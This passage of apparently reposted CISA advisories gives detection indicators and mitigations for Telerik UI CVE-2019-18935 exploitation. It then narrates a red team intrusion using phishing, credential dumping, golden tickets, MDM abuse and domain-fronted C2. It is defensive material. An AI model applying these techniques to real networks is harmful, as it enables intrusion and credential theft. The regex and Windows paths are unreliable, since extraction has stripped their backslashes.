The time is represented in a series of digits, known as Unix Epoch time. The files observed during this investigation contained two sets of digits separated by a period (.) before the DLL extension (.dll). Example: 1667206973.2270932.dll

Nearly all recovered files contain a series of 10 digits to the left of the period (.) and seven digits to the right. However, one file contained only five digits in the second set, which should be taken into consideration when writing regex patterns to search for the existence of these files. Example Regex: d{10}.d{1,8}.dll

These numbers can be copied and translated from digits into readable language with the month, day, year, hour, minute, and seconds displayed.

Log Type: IIS
Location: – %SystemDrive%inetpublogsLogFiles

When investigating IIS logs, specific fields were searched for and captured during the time of each connection.

If the Unix Epoch time signature has been translated from a DLL filename, specific logs can be searched based on that time. However, if the Unix Epoch time signature has not been translated, the following will still work, but may take longer for the query to run.

The four most important fields to identify this traffic are noted in the following table. These descriptions are sourced directly from Microsoft.[6]

Table 5: Four Fields Searched in IIS Logs

General Name

Field Name

Description

Method

cs-method

Requested action; for example, a GET method

URI Stem

cs-uri-stem

Universal Resource Identifier (URI), or target, of the action

URI Query

cs-uri-query

The query, if any, that the client was trying to perform; A URI query is necessary only for dynamic pages.

Protocol Status

sc-status

Hypertext Transfer Protocol (HTTP) or File Transfer Protocol (FTP) status code

Note: Depending on how logs are collected and stored, the field names may not be an exact match; this should be taken into consideration when constructing queries.

When ingesting logs into security information and event management (SIEM), the final field names did not use a hyphen (-) but used an underscore (_).

Example: cs_method instead of cs-method

Artifacts:
Table 6: Information Contained in Two Observed IIS Events

Field Name

Artifact

cs-method

POST

>cs-uri-stem

/Telerik.Web.UI.WebResource.axd

cs-uri-query

type=rau

sc-status

200 and 302

When reviewing logs, two IIS events were observed with the same timestamp each time this CVE-2019-18935 was exploited. Both events contained the same information in the cs-method, cs-uri-stem, and cs-uri-query. One event had a sc-status of 200 and the other had a sc-status of 302.

Log Type: Windows Event Application Logs
Location: -%SystemDrive%WindowsSystem32winevtlogsApplication.evtx

Kroll Artifact Parser and Extractor (KAPE), a forensic artifact collector and parser, was used to extract the Windows event logs from a backup image of the compromised IIS server. All field names refer to the labels provided via KAPE exports. The strings are of value and can be used to locate other artifacts if different tools are used. Note: The payload data in the following table has been shortened to only necessary strings to obscure and protect victim information.

Table 7: Example Payload Data

EventID

Payload

1309

3005, An unhandled exception has occurred[*redacted*]w3wp.exe[*redacted*]InvalidCastException, Unable to cast object of type ‘System.Configuration.Install.AssemblyInstaller’ to type ‘Telerik.Web.UI.IAsyncUploadConfiguration’.n at Telerik.Web.UI.AsyncUploadHandler.GetConfiguration(String rawData)n at Telerik.Web.UI.AsyncUploadHandler.EnsureSetup()n at Telerik.Web.UI.AsyncUploadHandler.ProcessRequest(HttpContext context)n at Telerik.Web.UI.HandlerRouter.ProcessHandler(String handlerKey, HttpContext context)n at Telerik.Web.UI.WebResource.ProcessRequest(HttpContext context)n at System.Web.HttpApplication.CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute()n at System.Web.HttpApplication.ExecuteStepImpl(IExecutionStep step)n at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)nn, [*redacted*]/Telerik.Web.UI.WebResource.axd?type=rau, /Telerik.Web.UI.WebResource.axd, [*redacted*], False, [*redacted*], 15, [*redacted*], False, at Telerik.Web.UI.AsyncUploadHandler.GetConfiguration(String rawData)n at Telerik.Web.UI.AsyncUploadHandler.EnsureSetup()n at Telerik.Web.UI.AsyncUploadHandler.ProcessRequest(HttpContext context)n at Telerik.Web.UI.HandlerRouter.ProcessHandler(String handlerKey, HttpContext context)n at Telerik.Web.UI.WebResource.ProcessRequest(HttpContext context)n at System.Web.HttpApplication.CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute()n at System.Web.HttpApplication.ExecuteStepImpl(IExecutionStep step)n at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)n”,”Binary”:””}}

Authoring organizations recommend looking for the following key strings in the payload:

  • w3wp.exe: This is the parent process that executes the code inside the malicious DLLs.
  • System.Configuration.Install.AssemblyInstaller: Figure 1 is from the creator’s GitHub repo,[7] where the string can be observed in the code. As presented by Bishop Fox and proven during authoring organizations’ investigation of IIS server logs, an exception does not mean that the exploit failed, but more likely that it executed successfully.[3]
Figure 1: Threat Actor Assembly Installer
Figure 1: Threat Actor Assembly Installer

If a Werfault crash report was written, Windows event application logs may contain evidence of this— even if the DLLs have been removed from the system as part of a cleanup effort by the threat actors.

Table 8: Example Threat Actor Cleanup

EventID

ExecutableInfo

MapDescription

Payload

1000

w3wp.exe |1664175639.65719.dll

|c:windowssystem32inetsrvw3wp.exe |C:WindowsTemp1664175639.65719.dll

Application Error

{“EventData”:{“Data”:”w3wp.exe, 8.5.9600.16384, 5215df96, 1664175639.65719.dll, 0.0.0.0, 63314d94, c00000fd, 00000000000016f8, 1708, 01d8d0a5f84af443, c:windowssystem32inetsrvw3wp.exe, C:WindowsTemp1664175639.65719.dll, eed89eeb-3d68-11ed-817c-005056990ed7″,”Binary”:””}}

1001

w3wp.exe |1664175639.65719.dll |C:ProgramDataMicrosoftWindowsWERReportQueueAppCrash_w3wp.exe |C:ProgramDataMicrosoftWindowsWERReportQueueAppCrash_w3wp.exe |C:ProgramDataMicrosoftWindowsWERReportQueueAppCrash_w3wp.exe

Application Crash

{“EventData”:{“Data”:”0, APPCRASH, Not available, 0, w3wp.exe, 8.5.9600.16384, 5215df96, 1664175639.65719.dll, 0.0.0.0, 63314d94, c00000fd, 00000000000016f8, nC:WindowsTempWERE3F6.tmp.appcompat.txtnC:WindowsTempWERE639.tmp.WERInternalMetadata.xmlnC:ProgramDataMicrosoftWindowsWERReportQueueAppCrash_w3wp.exe_d538da447d49df5862c37684118d0c25c2eff_9e3fd63b_cab_0c3ee656memory.hdmpnC:ProgramDataMicrosoftWindowsWERReportQueueAppCrash_w3wp.exe_d538da447d49df5862c37684118d0c25c2eff_9e3fd63b_cab_0c3ee656triagedump.dmp, C:ProgramDataMicrosoftWindowsWERReportQueueAppCrash_w3wp.exe_d538da447d49df5862c37684118d0c25c2eff_9e3fd63b_cab_0c3ee656, 0, eed89eeb-3d68-11ed-817c-005056990ed7, 4″,”Binary”:””}}

The EventID field maps to Windows EventIDs for an easy filter. Users can leverage the Windows EventIDs to find malicious DLL with the Unix Epoch time-based name inside the C:WindowsTemp directory.

Depending how log analysis is performed, various filters can be determined. However, if regex is available, the example listed in Table 8 above can be reused to match the Unix Epoch timestamp convention to assist in filtering.

Additional Analysis

When evidence of malicious DLLs is found, reverse engineering will need to be conducted to fully understand what actions occur as the malicious files could do nearly anything. Leveraging Windows security event logs, as well as Windows PowerShell logs, may provide insight into what actions the DLLs are taking. CISA and authoring organizations recommend the following process:

  1. Convert any discovered malicious DLL timestamps to readable format.
  2. Export the Windows security event and PowerShell logs from the device.
    • Default path: %SystemDrive%WindowsSystem32winevtlogsWindows PowerShell
    • Default path: %SystemDrive%WindowsSystem32winevtlogsSecurity.evtx
  3. Filter based on identified timestamps.
  4. Search for new processes created via w3wp.exe in Windows security event logs (e.g., Windows EventID 4688 New Process created).
  5. Search for new PIDs from identified events. Investigate to determine if they spawned any other processes.
    • Example: CMD.EXE launching PowerShell or running other commands such as nslookup or netstat. Note: This is not an exhaustive list.
  6. Search for EventID 600 in PowerShell logs.
Trellix XDR Platform Searching

If Trellix XDR Platform is deployed in an environment and a standard HX triage audit is completed in a timely manner of the suspected use of CVE-2019-18935, an organization can search for file write events from known web processes. This will identify the executables written by the web server process. CISA and authoring organizations specifically recommend searching for the following field value pair:

Table 9: Field Value Pair for Searching

Field

Value Begins With

TextAtLowestOffset

MZ

MITIGATIONS

Note: These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

Manage Vulnerabilities and Configurations
  • Upgrade all instances of Telerik UI ASP.NET AJAX to the latest version after appropriate testing. Keep all software up to date and prioritize patching to known exploited vulnerabilities (KEVs). [CPG 5.1]
  • Prioritize remediation of vulnerabilities on internet-facing systems. For additional guidance, see CISA Insights – Remediate Vulnerabilities for Internet-Accessible Systems. [CPG 5.1]
  • Implement a patch management solution to ensure compliance with the latest security patches. A patch management solution that inventories all software running in addition to vulnerability scanning is recommended.
  • Ensure vulnerability scanners are configured to scan a comprehensive scope of devices and locations. For example, as noted in the Technical Details section, the victim organization had the appropriate plugin for CVE-2019-18935, but the vulnerability went undetected due to the Telerik UI software being installed in a file path not typically scanned. To identify unpatched instances of software vulnerabilities, organizations using vulnerability scanners should be aware that all installations may not be considered “typical” and may require full file scans of web applications.
    • Note: Vulnerability scanners may have limitations in detecting vulnerabilities, such as only being able to identify Windows Installer-installed applications, which was the case with this agency’s vulnerability scanner. The Telerik UI software was installed via a continuous integration (CI) and continuous delivery (CD) pipeline rather than the Windows Installer. This highlights the importance of using a comprehensive approach for vulnerability scanning that considers all potential installation methods and file paths.
  • Validate output from patch management and vulnerability scanning solutions against running services to check for discrepancies and account for all services.
 Segment Networks Based on Function
  • Implement network segmentation to separate network segments based on role and functionality. Proper network segmentation significantly reduces the ability for threat actor lateral movement by controlling traffic flows between—and access to—various subnetworks. (See CISA’s Layering Network Security Through Segmentation infographic and the National Security Agency’s Segment Networks and Deploy Application-Aware Defenses.) [CPG 8.1]
  • Isolate similar systems and implement micro-segmentation with granular access and policy restrictions to modernize cybersecurity and adopt zero trust principles for both network perimeter and internal devices. Logical and physical segmentation are critical to limiting and preventing lateral movement, privilege escalation, and exfiltration. Utilize access control lists (ACLs), hardened firewalls, and network monitoring devices to regulate, monitor, and audit cross-segment access and data transfers.
Other Best Practice Mitigation Recommendations
  • Implement phishing-resistant multifactor authentication (MFA) for as many services possible—particularly for webmail, virtual private networks (VPNs), accounts that access critical systems, and privileged accounts that manage backups.
    • MFA can still be leveraged for secure access using a jump server—an asset placed between the external and internal networks that serves as an intermediary for access—to facilitate connections if assets do not have the capability to support MFA implementation.
    • For additional guidance on secure MFA configurations, visit cisa.gov/mfa. [CPG 1.3]
  • Monitor and analyze activity logs generated from Microsoft IIS and remote PowerShell. Collect access and security focused logs (IDS/IDPS, firewall, DLP, VPN) and ensure logs are securely stored for a specified duration informed by risk or pertinent regulatory guidance. [CPG 3.1, 3.2]
    • Evaluate user permissions and maintain separate user accounts for all actions and activities not associated with the administrator role, e.g., for business email, web browsing, etc. All privileges should be reevaluated on a recurring basis to validate continued need for a given set of permissions. [CPG 1.5]
  • Limit service accounts to the minimum permissions necessary to run services. CISA observed numerous error messages in network logs indicative of failed attempts to write files to additional directories or move laterally.
  • Maintain a robust asset management policy through comprehensive documentation of assets, tracking current version information to maintain awareness of outdated software, and mapping assets to business and critical functions.
    • Determine the need and functionality of assets that require public internet exposure. [CPG 2.3]

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, CISA, FBI, and MS-ISAC recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA and co-sealers recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

  1. Select an ATT&CK technique described in this advisory (see Table 4).
  2. Align your security technologies against the selected technique.
  3. Test your technologies against the technique.
  4. Analyze your detection and prevention technologies’ performance.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program—including people, processes, and technologies—based on the data generated by this process.

CISA, FBI, and MS-ISAC recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

UNIX Timestamp Converter

REFERENCES

[1] Telerik: Exploiting .NET JavaScriptSerializer Deserialization (CVE-2019-18935)
[2] ACSC Advisory 2020-004
[3] Bishop Fox CVE-2019-18935: Remote Code Execution via Insecure Deserialization in Telerik UI
[4] Volexity Threat Research: XE Group
[5] GitHub: Proof-of-Concept Exploit for CVE-2019-18935
[6] Microsoft: Configure Logging in IIS
[7] GitHub: CVE-2019-18935

ACKNOWLEDGEMENTS

Google’s Threat Analysis Group (TAG) contributed to this CSA.

Please share your thoughts. We recently updated our anonymous Product Feedback Survey and we’d welcome your feedback.

CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks

This post was originally published on this site

SUMMARY

The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this Cybersecurity Advisory (CSA) detailing activity and key findings from a recent CISA red team assessmentin coordination with the assessed organizationto provide network defenders recommendations for improving their organization’s cyber posture.

Actions to take today to harden your local environment:

  • Establish a security baseline of normal network activity; tune network and host-based appliances to detect anomalous behavior.
  • Conduct regular assessments to ensure appropriate procedures are created and can be followed by security staff and end users.
  • Enforce phishing-resistant MFA to the greatest extent possible.

In 2022, CISA conducted a red team assessment (RTA) at the request of a large critical infrastructure organization with multiple geographically separated sites. The team gained persistent access to the organization’s network, moved laterally across the organization’s multiple geographically separated sites, and eventually gained access to systems adjacent to the organization’s sensitive business systems (SBSs). Multifactor authentication (MFA) prompts prevented the team from achieving access to one SBS, and the team was unable to complete its viable plan to compromise a second SBSs within the assessment period.

Despite having a mature cyber posture, the organization did not detect the red team’s activity throughout the assessment, including when the team attempted to trigger a security response.

CISA is releasing this CSA detailing the red team’s tactics, techniques, and procedures (TTPs) and key findings to provide network defenders of critical infrastructure organizations proactive steps to reduce the threat of similar activity from malicious cyber actors. This CSA highlights the importance of collecting and monitoring logs for unusual activity as well as continuous testing and exercises to ensure your organization’s environment is not vulnerable to compromise, regardless of the maturity of its cyber posture.

CISA encourages critical infrastructure organizations to apply the recommendations in the Mitigations section of this CSA—including conduct regular testing within their security operations center—to ensure security processes and procedures are up to date, effective, and enable timely detection and mitigation of malicious activity.

Download the PDF version of this report:

TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 12. See the appendix for a table of the red team’s activity mapped to MITRE ATT&CK tactics and techniques.

Introduction

CISA has authority to, upon request, provide analyses, expertise, and other technical assistance to critical infrastructure owners and operators and provide operational and timely technical assistance to Federal and non-Federal entities with respect to cybersecurity risks. (See generally 6 U.S.C. §§ 652[c][5], 659[c][6].) After receiving a request for a red team assessment (RTA) from an organization and coordinating some high-level details of the engagement with certain personnel at the organization, CISA conducted the RTA over a three-month period in 2022.

During RTAs, a CISA red team emulates cyber threat actors to assess an organization’s cyber detection and response capabilities. During Phase I, the red team attempts to gain and maintain persistent access to an organization’s enterprise network while avoiding detection and evading defenses. During Phase II, the red team attempts to trigger a security response from the organization’s people, processes, or technology.

The “victim” for this assessment was a large organization with multiple geographically separated sites throughout the United States. For this assessment, the red team’s goal during Phase I was to gain access to certain sensitive business systems (SBSs).

Phase I: Red Team Cyber Threat Activity
Overview

The organization’s network was segmented with both logical and geographical boundaries. CISA’s red team gained initial access to two organization workstations at separate sites via spearphishing emails. After gaining access and leveraging Active Directory (AD) data, the team gained persistent access to a third host via spearphishing emails. From that host, the team moved laterally to a misconfigured server, from which they compromised the domain controller (DC). They then used forged credentials to move to multiple hosts across different sites in the environment and eventually gained root access to all workstations connected to the organization’s mobile device management (MDM) server. The team used this root access to move laterally to SBS-connected workstations. However, a multifactor authentication (MFA) prompt prevented the team from achieving access to one SBS, and Phase I ended before the team could implement a seemingly viable plan to achieve access to a second SBS.

Initial Access and Active Directory Discovery

The CISA red team gained initial access [TA0001] to two workstations at geographically separated sites (Site 1 and Site 2) via spearphishing emails. The team first conducted open-source research [TA0043] to identify potential targets for spearphishing. Specifically, the team looked for email addresses [T1589.002] as well as names [T1589.003] that could be used to derive email addresses based on the team’s identification of the email naming scheme. The red team sent tailored spearphishing emails to seven targets using commercially available email platforms [T1585.002]. The team used the logging and tracking features of one of the platforms to analyze the organization’s email filtering defenses and confirm the emails had reached the target’s inbox.

The team built a rapport with some targeted individuals through emails, eventually leading these individuals to accept a virtual meeting invite. The meeting invite took them to a red team-controlled domain [T1566.002] with a button, which, when clicked, downloaded a “malicious” ISO file [T1204]. After the download, another button appeared, which, when clicked, executed the file.

Two of the seven targets responded to the phishing attempt, giving the red team access to a workstation at Site 1 (Workstation 1) and a workstation at Site 2. On Workstation 1, the team leveraged a modified SharpHound collector, ldapsearch, and command-line tool, dsquery, to query and scrape AD information, including AD users [T1087.002], computers [T1018], groups [T1069.002], access control lists (ACLs), organizational units (OU), and group policy objects (GPOs) [T1615]. Note: SharpHound is a BloodHound collector, an open-source AD reconnaissance tool. Bloodhound has multiple collectors that assist with information querying.

There were 52 hosts in the AD that had Unconstrained Delegation enabled and a lastlogon timestamp within 30 days of the query. Hosts with Unconstrained Delegation enabled store Kerberos ticket-granting tickets (TGTs) of all users that have authenticated to that host. Many of these hosts, including a Site 1 SharePoint server, were Windows Server 2012R2. The default configuration of Windows Server 2012R2 allows unprivileged users to query group membership of local administrator groups.

The red team queried parsed Bloodhound data for members of the SharePoint admin group and identified several standard user accounts with administrative access. The team initiated a second spearphishing campaign, similar to the first, to target these users. One user triggered the red team’s payload, which led to installation of a persistent beacon on the user’s workstation (Workstation 2), giving the team persistent access to Workstation 2.

Lateral Movement, Credential Access, and Persistence

The red team moved laterally [TA0008] from Workstation 2 to the Site 1 SharePoint server and had SYSTEM level access to the Site 1 SharePoint server, which had Unconstrained Delegation enabled. They used this access to obtain the cached credentials of all logged-in users—including the New Technology Local Area Network Manager (NTLM) hash for the SharePoint server account. To obtain the credentials, the team took a snapshot of lsass.exe [T1003.001] with a tool called nanodump, exported the output, and processed the output offline with Mimikatz.

The team then exploited the Unconstrained Delegation misconfiguration to steal the DC’s TGT. They ran the DFSCoerce python script (DFSCoerce.py), which prompted DC authentication to the SharePoint server using the server’s NTLM hash. The team then deployed Rubeus to capture the incoming DC TGT [T1550.002], [T1557.001]. (DFSCoerce abuses Microsoft’s Distributed File System [MS-DFSNM] protocol to relay authentication against an arbitrary server.[1])

The team then used the TGT to harvest advanced encryption standard (AES)-256 hashes via DCSync [T1003.006] for the krbtgt account and several privileged accounts—including domain admins, workstation admins, and a system center configuration management (SCCM) service account (SCCM Account 1). The team used the krbtgt account hash throughout the rest of their assessment to perform golden ticket attacks [T1558.001] in which they forged legitimate TGTs. The team also used the asktgt command to impersonate accounts they had credentials for by requesting account TGTs [T1550.003].

The team first impersonated the SCCM Account 1 and moved laterally to a Site 1 SCCM distribution point (DP) server (SCCM Server 1) that had direct network access to Workstation 2. The team then moved from SCCM Server 1 to a central SCCM server (SCCM Server 2) at a third site (Site 3). Specifically, the team:

  1. Queried the AD using Lightweight Directory Access Protocol (LDAP) for information about the network’s sites and subnets [T1016]. This query revealed all organization sites and subnets broken down by classless inter-domain routing (CIDR) subnet and description.
  2. Used LDAP queries and domain name system (DNS) requests to identify recently active hosts.
  3. Listed existing network connections [T1049] on SCCM Server 1, which revealed an active Server Message Block (SMB) connection from SCCM Server 2.
  4. Attempted to move laterally to the SCCM Server 2 via AppDomain hijacking, but the HTTPS beacon failed to call back.
  5. Attempted to move laterally with an SMB beacon [T1021.002], which was successful.

The team also moved from SCCM Server 1 to a Site 1 workstation (Workstation 3) that housed an active server administrator. The team impersonated an administrative service account via a golden ticket attack (from SCCM Server 1); the account had administrative privileges on Workstation 3. The user employed a KeePass password manager that the team was able to use to obtain passwords for other internal websites, a kernel-based virtual machine (KVM) server, virtual private network (VPN) endpoints, firewalls, and another KeePass database with credentials. The server administrator relied on a password manager, which stored credentials in a database file. The red team pulled the decryption key from memory using KeeThief and used it to unlock the database [T1555.005].

At the organization’s request, the red team confirmed that SCCM Server 2 provided access to the organization’s sites because firewall rules allowed SMB traffic to SCCM servers at all other sites.

The team moved laterally from SCCM Server 2 to an SCCM DP server at Site 5 and from the SCCM Server 1 to hosts at two other sites (Sites 4 and 6). The team installed persistent beacons at each of these sites. Site 5 was broken into a private and a public subnet and only DCs were able to cross that boundary. To move between the subnets, the team moved through DCs. Specifically, the team moved from the Site 5 SCCM DP server to a public DC; and then they moved from the public DC to the private DC. The team was then able to move from the private DC to workstations in the private subnet.

The team leveraged access available from SCCM 2 to move around the organization’s network for post-exploitation activities (See Post-Exploitation Activity section).

See Figure 1 for a timeline of the red team’s initial access and lateral movement showing key access points.

Figure 1: Red Team Cyber Threat Activity: Initial Access and Lateral Movement
Figure 1: Red Team Cyber Threat Activity: Initial Access and Lateral Movement

While traversing the network, the team varied their lateral movement techniques to evade detection and because the organization had non-uniform firewalls between the sites and within the sites (within the sites, firewalls were configured by subnet). The team’s primary methods to move between sites were AppDomainManager hijacking and dynamic-link library (DLL) hijacking [T1574.001]. In some instances, they used Windows Management Instrumentation (WMI) Event Subscriptions [T1546.003].

The team impersonated several accounts to evade detection while moving. When possible, the team remotely enumerated the local administrators group on target hosts to find a valid user account. This technique relies on anonymous SMB pipe binds [T1071], which are disabled by default starting with Windows Server 2016. In other cases, the team attempted to determine valid accounts based on group name and purpose. If the team had previously acquired the credentials, they used asktgt to impersonate the account. If the team did not have the credentials, they used the golden ticket attack to forge the account.

Post-Exploitation Activity: Gaining Access to SBSs

With persistent, deep access established across the organization’s networks and subnetworks, the red team began post-exploitation activities and attempted to access SBSs. Trusted agents of the organization tasked the team with gaining access to two specialized servers (SBS 1 and SBS 2). The team achieved root access to three SBS-adjacent workstations but was unable to move laterally to the SBS servers:

  • Phase I ended before the team could implement a plan to move to SBS 1.
  • An MFA prompt blocked the team from moving to SBS 2, and Phase I ended before they could implement potential workarounds.

However, the team assesses that by using Secure Shell (SSH) session socket files (see below), they could have accessed any hosts available to the users whose workstations were compromised.

Plan for Potential Access to SBS 1

Conducting open-source research [1591.001], the team identified that SBS 1 and 2 assets and associated management/upkeep staff were located at Sites 5 and 6, respectively. Adding previously collected AD data to this discovery, the team was able to identify a specific SBS 1 admin account. The team planned to use the organization’s mobile device management (MDM) software to move laterally to the SBS 1 administrator’s workstation and, from there, pivot to SBS 1 assets.

The team identified the organization’s MDM vendor using open-source and AD information [T1590.006] and moved laterally to an MDM distribution point server at Site 5 (MDM DP 1). This server contained backups of the MDM MySQL database on its D: drive in the Backup directory. The backups included the encryption key needed to decrypt any encrypted values, such as SSH passwords [T1552]. The database backup identified both the user of the SBS 1 administrator account (USER 2) and the user’s workstation (Workstation 4), which the MDM software remotely administered.

The team moved laterally to an MDM server (MDM 1) at Site 3, searched files on the server, and found plaintext credentials [T1552.001] to an application programming interface (API) user account stored in PowerShell scripts. The team attempted to leverage these credentials to browse to the web login page of the MDM vendor but were unable to do so because the website directed to an organization-controlled single-sign on (SSO) authentication page.

The team gained root access to workstations connected to MDM 1—specifically, the team accessed Workstation 4—by:

  1. Selecting an MDM user from the plaintext credentials in PowerShell scripts on MDM 1.
  2. While in the MDM MySQL database,
    • Elevating the selected MDM user’s account privileges to administrator privileges, and
    • Modifying the user’s account by adding Create Policy and Delete Policy permissions [T1098], [T1548].
  3. Creating a policy via the MDM API [T1106], which instructed Workstation 4 to download and execute a payload to give the team interactive access as root to the workstation.
  4. Verifying their interactive access.
  5. Resetting permissions back to their original state by removing the policy via the MDM API and removing Create Policy and Delete Policy and administrator permissions and from the MDM user’s account.

While interacting with Workstation 4, the team found an open SSH socket file and a corresponding netstat connection to a host that the team identified as a bastion host from architecture documentation found on Workstation 4. The team planned to move from Workstation 4 to the bastion host to SBS 1. Note: A SSH socket file allows a user to open multiple SSH sessions through a single, already authenticated SSH connection without additional authentication.

The team could not take advantage of the open SSH socket. Instead, they searched through SBS 1 architecture diagrams and documentation on Workstation 4. They found a security operations (SecOps) network diagram detailing the network boundaries between Site 5 SecOps on-premises systems, Site 5 non-SecOps on-premises systems, and Site 5 SecOps cloud infrastructure. The documentation listed the SecOps cloud infrastructure IP ranges [T1580]. These “trusted” IP addresses were a public /16 subnet; the team was able to request a public IP in that range from the same cloud provider, and Workstation 4 made successful outbound SSH connections to this cloud infrastructure. The team intended to use that connection to reverse tunnel traffic back to the workstation and then access the bastion host via the open SSH socket file. However, Phase 1 ended before they were able to implement this plan.

Attempts to Access SBS 2

Conducting open-source research, the team identified an organizational branch [T1591] that likely had access to SBS 2. The team queried the AD to identify the branch’s users and administrators. The team gathered a list of potential accounts, from which they identified administrators, such as SYSTEMS ADMIN or DATA SYSTEMS ADMINISTRATOR, with technical roles. Using their access to the MDM MySQL database, the team queried potential targets to (1) determine the target’s last contact time with the MDM and (2) ensure any policy targeting the target’s workstation would run relatively quickly [T1596.005]. Using the same methodology as described by the steps in the Plan for Potential Access to SBS 1 section above, the team gained interactive root access to two Site 6 SBS 2-connected workstations: a software engineering workstation (Workstation 5) and a user administrator workstation (Workstation 6).

The Workstation 5 user had bash history files with what appeared to be SSH passwords mistyped into the bash prompt and saved in bash history [T1552.003]. The team then attempted to authenticate to SBS 2 using a similar tunnel setup as described in the Access to SBS 1 section above and the potential credentials from the user’s bash history file. However, this attempt was unsuccessful for unknown reasons.

On Workstation 6, the team found a .txt file containing plaintext credentials for the user. Using the pattern discovered in these credentials, the team was able to crack the user’s workstation account password [T1110.002]. The team also discovered potential passwords and SSH connection commands in the user’s bash history. Using a similar tunnel setup described above, the team attempted to log into SBS 2. However, a prompt for an MFA passcode blocked this attempt.

See figure 2 for a timeline of the team’s post exploitation activity that includes key points of access.

Figure 2: Red Team Cyber Threat Activity: Post Exploitation
Figure 2: Red Team Cyber Threat Activity: Post Exploitation
Command and Control

The team used third-party owned and operated infrastructure and services [T1583] throughout their assessment, including in certain cases for command and control (C2) [TA0011]. These included:

  • Cobalt Strike and Merlin payloads for C2 throughout the assessment. Note: Merlin is a post-exploit tool that leverages HTTP protocols for C2 traffic.
    • The team maintained multiple Cobalt Strike servers hosted by a cloud vendor. They configured each server with a different domain and used the servers for communication with compromised hosts. These servers retained all assessment data.
  • Two commercially available cloud-computing platforms.
    • The team used these platforms to create flexible and dynamic redirect servers to send traffic to the team’s Cobalt Strike servers [T1090.002]. Redirecting servers make it difficult for defenders to attribute assessment activities to the backend team servers. The redirectors used HTTPS reverse proxies to redirect C2 traffic between the target organization’s network and the Cobalt Strike team servers [T1071.002]. The team encrypted all data in transit [T1573] using encryption keys stored on team’s Cobalt Strike servers.
  • A cloud service to rapidly change the IP address of the team’s redirecting servers in the event of detection and eradication.
  • Content delivery network (CDN) services to further obfuscate some of the team’s C2 traffic.
    • This technique leverages CDNs associated with high-reputation domains so that the malicious traffic appears to be directed towards a reputation domain but is actually redirected to the red team-controlled Cobalt Strike servers.
    • The team used domain fronting [T1090.004] to disguise outbound traffic in order to diversify the domains with which the persistent beacons were communicating. This technique, which also leverages CDNs, allows the beacon to appear to connect to third-party domains, such as nytimes.com, when it is actually connecting to the team’s redirect server.
Phase II: Red Team Measurable Events Activity

The red team executed 13 measurable events designed to provoke a response from the people, processes, and technology defending the organization’s network. See Table 1 for a description of the events, the expected network defender activity, and the organization’s actual response.

Table 1: Measurable Events

Measurable Event

Description

MITRE ATT&CK Technique(s)

Expected Detection Points

Expected Network Defender Reactions

Reported Reactions

Internal Port Scan

Launch scan from inside the network from a previously gained workstation to enumerate ports on target workstation, server, and domain controller system(s).

  • Network Service Discovery [T1046]
  • Network Monitoring and Analysis Tools
  • Intrusion Detection or Prevention Systems
  • Endpoint Protection Platform
  • Detect target hosts and ports
  • Identify associated scanning process
  • Analyze scanning host once detected
  • Develop response plan

None

 

Comprehensive Active Directory and Host Enumeration

Perform AD enumeration by querying all domain objects from the DC; and enumerating trust relationships within the AD Forest, user accounts, and current session information from every domain computer (Workstation and Server).

  • Domain Trust Discovery [T1482]
  • Account Discovery: Domain Account [T1087.002]
  • System Owner/User Discovery [T1033]
  • Remote System Discovery [T1018]
  • Network Monitoring and Analysis Tools
  • Intrusion Detection or Prevention Systems
  • Endpoint Protection Platform
  • Detect target hosts and ports
  • Identify associated scanning process
  • Analyze scanning host once detected
  • Develop response plan

Collection process stopped before completion. Host isolated and sent for forensics.

Data Exfiltration—1 GB of Data

Send a large amount (1 GB) of mock sensitive information to an external system over various protocols, including ICMP, DNS, FTP, and/or HTTP/S.

  • Exfiltration Over Alternative Protocol [T1048]
  • Network Monitoring and Analysis Tools
  • Intrusion Detection or Prevention Systems
  • Endpoint Protection Platform
  • Detect target hosts and ports
  • Identify associated scanning process
  • Analyze scanning host once detected
  • Develop response plan

None

Malicious Traffic Generation—Workstation to External Host

Establish a session that originates from a target Workstation system directly to an external host over a clear text protocol, such as HTTP.

  • Application Layer Protocol [T1071]
  • Intrusion Detection or Prevention Systems
  • Endpoint Protection Platform
  • Windows Event Logs
  • Detect and Identify source IP and source process of enumeration
  • Analyze scanning host once detected
  • Develop response plan

None

Active Directory Account Lockout

Lock out several administrative AD accounts

  • Account Access Removal [T1531]

 

  • Windows Event Logs
  • End User Reporting
  • Detect and Identify source IP and source process of exfiltration
  • Analyze host used for exfiltration once detected

Develop response plan

None

Local Admin User Account Creation (workstation)

Create a local administrator account on a target workstation system.

  • Create Account: Local Account [T1136.001]
  • Account Manipulation [T1098]
  • Intrusion Detection or Prevention Systems
  • Endpoint Protection Platform
  • Web Proxy Logs
  • Detect and identify source IP and source process of malicious traffic
  • Investigate destination IP address
  • Triage compromised host
  • Develop response plan

None

Local Admin User Account Creation (server)

Create a local administrator account on a target server system.

  • Create Account: Local Account [T1136.001]
  • Account Manipulation [T1098]
  • Windows Event Logs
  • Detect account creation
  • Identify source of change
  • Verify change with system owner
  • Develop response plan

None

Active Directory Account Creation

Create AD accounts and add it to domain admins group

  • Create Account: Domain Account [T1136.002]
  • Account Manipulation [T1098]
  • Windows Event Logs
  • Detect account creation
  • Identify source of change
  • Verify change with system owner
  • Develop response plan

None

Workstation Admin Lateral Movement—Workstation to Workstation

